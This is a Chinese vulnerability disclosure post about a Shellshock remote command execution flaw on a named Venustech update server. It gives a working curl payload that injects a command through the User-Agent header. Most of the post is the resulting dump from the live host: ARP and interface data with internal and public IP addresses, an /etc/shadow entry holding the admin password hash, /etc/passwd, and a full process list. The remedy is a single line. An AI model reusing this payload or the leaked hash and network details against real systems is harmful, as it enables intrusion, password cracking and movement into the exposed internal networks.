启明星辰某服务器存在远程命令执行漏洞需更新或者下线企业安全分享!

启明星辰某服务器存在远程命令执行漏洞需更新或者下线

启明星辰某服务器存在远程命令执行漏洞，服务器有4块网卡，设置了7个C段的内网IP地址

#1 服务器

https://updates.venustech.com.cn/

#2 漏洞描述

Bash shellshock Vul
 

 ? (192.168.7.49) at 00:13:20:bf:a3:eb [ether] on eth3.2 ? (192.168.7.170) at 04:7d:7b:b4:63:f8 [ether] on eth3.2 ? (192.168.5.67) at 90:b1:1c:6c:95:e4 [ether] on eth3.3 ? (192.168.7.147) at d0:67:e5:06:d6:22 [ether] on eth3.2 ? (192.168.99.99) at 00:90:fb:52:60:7d [ether] on eth5 ? (124.207.17.78) at  on eth3.7 ? (192.168.9.15) at 96:6c:d2:0b:8c:f3 [ether] on eth3.7 ? (192.168.5.33) at 78:45:c4:05:bc:b4 [ether] on eth3.3 ? (124.207.17.65) at 00:12:43:78:58:00 [ether] on eth2 ? (124.207.17.74) at  on eth3.7 ? (192.168.9.109) at 1a:97:a3:0a:c5:8b [ether] on eth3.4 ? (192.168.7.45) at 00:22:19:04:bf:4e [ether] on eth3.2 ? (124.207.17.70) at  on eth3.8 ? (192.168.9.10) at 14:fe:b5:d4:25:6f [ether] on eth3.7 ? (192.168.9.8) at a6:d1:84:f1:a6:a8 [ether] on eth3.7 ? (124.207.17.76) at  on eth3.7 ? (192.168.5.30) at 18:03:73:37:47:34 [ether] on eth3.3 ? (124.207.17.77) at a6:d1:84:f1:a6:a8 [ether] on eth3.7 ? (192.168.7.222) at 38:22:d6:a1:27:dc [ether] on eth3.2 ? (192.168.5.200) at 78:45:c4:06:0e:7f [ether] on eth3.3 ? (192.168.7.179) at  on eth3.2 ? (192.168.99.20) at b8:ac:6f:3e:b9:24 [ether] on eth5 ? (192.168.9.9) at 3e:54:4b:28:95:13 [ether] on eth3.7 ? (192.168.7.196) at 68:f7:28:b9:c9:97 [ether] on eth3.2 ? (192.168.99.230) at b0:51:8e:00:dc:e3 [ether] on eth5 ? (192.168.7.153) at 1c:fa:68:fe:b9:49 [ether] on eth3.2 ? (192.168.5.85) at 78:a1:06:a0:93:f3 [ether] on eth3.3 ? (192.168.9.103) at 00:19:d1:5a:5c:91 [ether] on eth3.4

 eth2      Link encap:Ethernet  HWaddr 00:e0:4c:50:29:28             inet addr:124.207.17.66  Bcast:124.207.17.67  Mask:255.255.255.252           inet6 addr: fe80::2e0:4cff:fe50:2928/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:509587196 errors:0 dropped:150 overruns:0 frame:0           TX packets:447431051 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:477215383114 (444.4 GiB)  TX bytes:102776363246 (95.7 GiB)           Interrupt:18 Memory:d0200000-d0220000   eth3      Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:2753536727 errors:0 dropped:6301 overruns:0 frame:0           TX packets:2704033675 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:2398944004498 (2.1 TiB)  TX bytes:2645235946740 (2.4 TiB)           Interrupt:19 Memory:d0300000-d0320000   eth5      Link encap:Ethernet  HWaddr 00:e0:4c:50:29:2b             inet addr:192.168.99.1  Bcast:192.168.99.255  Mask:255.255.255.0           inet6 addr: fe80::2e0:4cff:fe50:292b/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:2775236580 errors:0 dropped:1087224 overruns:0 frame:0           TX packets:168683223 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:1000            RX bytes:215766978251 (200.9 GiB)  TX bytes:159408116401 (148.4 GiB)           Interrupt:17 Memory:d0500000-d0520000   eth3.2    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:192.168.7.1  Bcast:192.168.7.255  Mask:255.255.255.0           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:139999170 errors:0 dropped:0 overruns:0 frame:0           TX packets:178749034 errors:0 dropped:49 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:24650666919 (22.9 GiB)  TX bytes:196673483318 (183.1 GiB)  eth3.3    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:192.168.5.1  Bcast:192.168.5.255  Mask:255.255.255.0           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:827207656 errors:0 dropped:0 overruns:0 frame:0           TX packets:1659932700 errors:0 dropped:441 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:71391019200 (66.4 GiB)  TX bytes:2305127162311 (2.0 TiB)  eth3.4    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:192.168.9.97  Bcast:192.168.9.127  Mask:255.255.255.224           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:38196894 errors:0 dropped:0 overruns:0 frame:0           TX packets:32701192 errors:0 dropped:546 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:38057682408 (35.4 GiB)  TX bytes:21081238644 (19.6 GiB)  eth3.5    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:192.168.8.1  Bcast:192.168.8.255  Mask:255.255.255.0           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:12150050 errors:0 dropped:0 overruns:0 frame:0           TX packets:15849901 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:2263388346 (2.1 GiB)  TX bytes:15154916440 (14.1 GiB)  eth3.6    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:192.168.10.1  Bcast:192.168.10.255  Mask:255.255.255.0           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:96227890 errors:0 dropped:0 overruns:0 frame:0           TX packets:7267281 errors:0 dropped:39 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:8879882984 (8.2 GiB)  TX bytes:7411205232 (6.9 GiB)  eth3.7    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:192.168.9.1  Bcast:192.168.9.31  Mask:255.255.255.224           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:1639751756 errors:0 dropped:0 overruns:0 frame:0           TX packets:809504545 errors:0 dropped:21 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:2215151596571 (2.0 TiB)  TX bytes:99786721439 (92.9 GiB)  eth3.8    Link encap:Ethernet  HWaddr 00:e0:4c:50:29:29             inet addr:124.207.17.69  Bcast:124.207.17.71  Mask:255.255.255.252           inet6 addr: fe80::2e0:4cff:fe50:2929/64 Scope:Link           UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1           RX packets:3311 errors:0 dropped:0 overruns:0 frame:0           TX packets:29016 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:253892 (247.9 KiB)  TX bytes:1218888 (1.1 MiB)  lo        Link encap:Local Loopback             inet addr:127.0.0.1  Mask:255.0.0.0           inet6 addr: ::1/128 Scope:Host           UP LOOPBACK RUNNING  MTU:16436  Metric:1           RX packets:86767 errors:0 dropped:0 overruns:0 frame:0           TX packets:86767 errors:0 dropped:0 overruns:0 carrier:0           collisions:0 txqueuelen:0            RX bytes:113560276 (108.2 MiB)  TX bytes:113560276 (108.2 MiB)

#3 证明
 

 curl cgi-url -A "() { foo;};echo;/bin/cat /etc/hosts" -k # Do not remove the following line, or various programs # that require network functionality will fail. 127.0.0.1 localhost       USAP  192.168.9.125    update.lyxtech.com

 admin:$6$3Z7FbI1E$Tdnx3/Yx8cqq1xZzbobGnBo91MAR9RPjnixIjSy2tx0X943RONZLLAlLScvOXj5sLPy3du2EX9iMKKMzYqe60/:16287:0:99999:7::: sshd:!!:13153:0:99999:7::: ldap:!!:13153:0:99999:7::: mysql:!!:13195:0:99999:7:::

 cat /etc/passwd  admin:x:0:0:root:/usap/boot:/bin/bash daemon:x:1:1:daemon:/usr/local/usap/center/bin:/bin/nologin www:x:33:33:www:/usr/local/usap/center/web:/bin/nologin sshd:x:74:74::/var/sshd:/sbin/nologin ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false mysql:x:500:500::/home/mysql:/sbin/nologin

 UID        PID  PPID  C STIME TTY          TIME CMD admin        1     0  0  2015 ?        00:03:17 init [2]   admin        2     0  0  2015 ?        00:00:00 [kthreadd] admin        3     2  0  2015 ?        00:00:04 [migration/0] admin        4     2  0  2015 ?        00:48:19 [ksoftirqd/0] admin        5     2  0  2015 ?        00:00:00 [watchdog/0] admin        6     2  0  2015 ?        00:00:09 [migration/1] admin        7     2 11  2015 ?        11-08:44:30 [ksoftirqd/1] admin        8     2  0  2015 ?        00:00:00 [watchdog/1] admin        9     2  0  2015 ?        00:15:58 [events/0] admin       10     2  0  2015 ?        00:07:19 [events/1] admin       11     2  0  2015 ?        00:00:00 [cpuset] admin       12     2  0  2015 ?        00:00:00 [khelper] admin       13     2  0  2015 ?        00:00:00 [netns] admin       14     2  0  2015 ?        00:00:00 [async/mgr] admin       15     2  0  2015 ?        00:00:00 [pm] admin       16     2  0  2015 ?        00:00:10 [sync_supers] admin       17     2  0  2015 ?        00:00:16 [bdi-default] admin       18     2  0  2015 ?        00:00:00 [kintegrityd/0] admin       19     2  0  2015 ?        00:00:00 [kintegrityd/1] admin       20     2  0  2015 ?        00:00:07 [kblockd/0] admin       21     2  0  2015 ?        00:00:10 [kblockd/1] admin       22     2  0  2015 ?        00:00:16 [kacpid] admin       23     2  0  2015 ?        00:00:01 [kacpi_notify] admin       24     2  0  2015 ?        00:00:00 [kacpi_hotplug] admin       25     2  0  2015 ?        00:00:00 [kseriod] admin       28     2  0  2015 ?        01:15:21 [kondemand/0] admin       29     2  0  2015 ?        01:17:09 [kondemand/1] admin       30     2  0  2015 ?        00:00:02 [khungtaskd] admin       31     2  0  2015 ?        00:00:27 [kswapd0] admin       32     2  0  2015 ?        00:00:00 [ksmd] admin       33     2  0  2015 ?        00:00:00 [aio/0] admin       34     2  0  2015 ?        00:00:00 [aio/1] admin       35     2  0  2015 ?        00:00:00 [xfs_mru_cache] admin       36     2  0  2015 ?        00:02:06 [xfslogd/0] admin       37     2  0  2015 ?        00:00:00 [xfslogd/1] admin       38     2  0  2015 ?        00:05:10 [xfsdatad/0] admin       39     2  0  2015 ?        00:00:00 [xfsdatad/1] admin       40     2  0  2015 ?        00:00:00 [xfsconvertd/0] admin       41     2  0  2015 ?        00:00:00 [xfsconvertd/1] admin       42     2  0  2015 ?        00:00:00 [crypto/0] admin       43     2  0  2015 ?        00:00:00 [crypto/1] admin      279     2  0  2015 ?        00:00:00 [ksuspend_usbd] admin      280     2  0  2015 ?        00:00:00 [ata/0] admin      281     2  0  2015 ?        00:00:00 [khubd] admin      282     2  0  2015 ?        00:00:00 [ata/1] admin      283     2  0  2015 ?        00:00:00 [ata_aux] admin      284     2  0  2015 ?        00:00:00 [scsi_eh_0] admin      285     2  0  2015 ?        00:00:00 [scsi_eh_1] admin      290     2  0  2015 ?        00:00:00 [scsi_eh_2] admin      291     2  0  2015 ?        00:00:00 [scsi_eh_3] admin      324     2  0  2015 ?        00:03:33 [flush-8:0] admin      469     2  0  2015 ?        00:00:31 [xfsbufd] admin      470     2  0  2015 ?        00:00:44 [xfsaild] admin      471     2  0  2015 ?        00:00:02 [xfssyncd] admin      473     2  0  2015 ?        00:00:47 [xfsbufd] admin      474     2  0  2015 ?        00:00:49 [xfsaild] admin      475     2  0  2015 ?        00:00:04 [xfssyncd] admin      477     2  0  2015 ?        00:00:00 [loop0] admin      581     1  0  2015 ?        00:00:00 udevd --daemon admin      635   581  0  2015 ?        00:00:00 udevd --daemon admin      636   581  0  2015 ?        00:00:00 udevd --daemon admin      670     2  0  2015 ?        00:00:00 [kconservative/0] admin      671     2  0  2015 ?        00:00:00 [kconservative/1] admin      722     2  0  2015 ?        00:00:00 [USAPTASK] admin      723     2  0  2015 ?        00:00:00 [KUSHSNDMSG] admin      729     2  0  2015 ?        00:00:03 [kClearNet] admin      773     1  0  2015 ?        00:00:00 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/DB --pid-file=/usr/local/mysql/DB/NSG.pid mysql     1269   773  1  2015 ?        1-07:42:01 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/DB --plugin-dir=/usr/local/mysql/lib/plugin --user=mysql --log-error=/usr/local/mysql/DB/NSG.err --pid-file=/usr/local/mysql/DB/NSG.pid --socket=/tmp/mysql.sock --port=3306 admin     1453     1  0  2015 ?        00:18:19 /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf admin     1464     1  0  2015 ?        00:32:10 /usr/bin/rsyslogd -c4 admin     1541     1  0  2015 ?        00:03:45 /usr/local/usap/center/bin/billingd admin     1565     1  0  2015 ?        01:51:21 /usr/local/usap/center/bin/dbbackupd admin     1567     1  0  2015 ?        00:00:00 /usr/local/usap/center/bin/ipmacbind_record admin     1585     1  0  2015 ?        01:11:57 /usr/local/usap/center/bin/HDMonitor admin     1594     1  0  2015 ?        00:02:10 /sbin/dhcpd -cf /usr/local/usap/center/config/dhcpd.conf eth3.2 start admin     1597     1  0  2015 ?        01:05:50 /usr/local/usap/center/bin/bwserverd admin     2103     1  0  2015 ?        00:16:44 /sbin/sshd admin     2106     1  0  2015 ?        00:00:15 /usr/bin/cron admin     2107     1  0  2015 tty1     00:00:00 /sbin/getty 38400 tty1 admin     2108     1  0  2015 ttyS0    00:00:00 /sbin/getty -L 9600 ttyS0 vt100 admin    19474 20565  3 Jan04 ?        11:58:15 /usr/local/usap/center/bin/ClearNet -D admin    19478     2  0 Jan04 ?        00:04:09 [KernelDPI] admin    20565     1  0  2015 ?        00:00:00 /usr/local/usap/center/bin/ClearNet -D admin    21691  1453  0 18:22 ?        00:00:00 /usr/local/usap/center/web/login.cgi admin    21694 21691  0 18:22 ?        00:00:00 sh -c rm -rf /tmp/tmp_arptable admin    21695 21694  0 18:22 ?        00:00:00 /bin/ps -ef

解决方案：

更新或者下线

—-想了解更多的企业安全相关处理怎么解决关注<计算机技术网(www.ctvol.com)!!>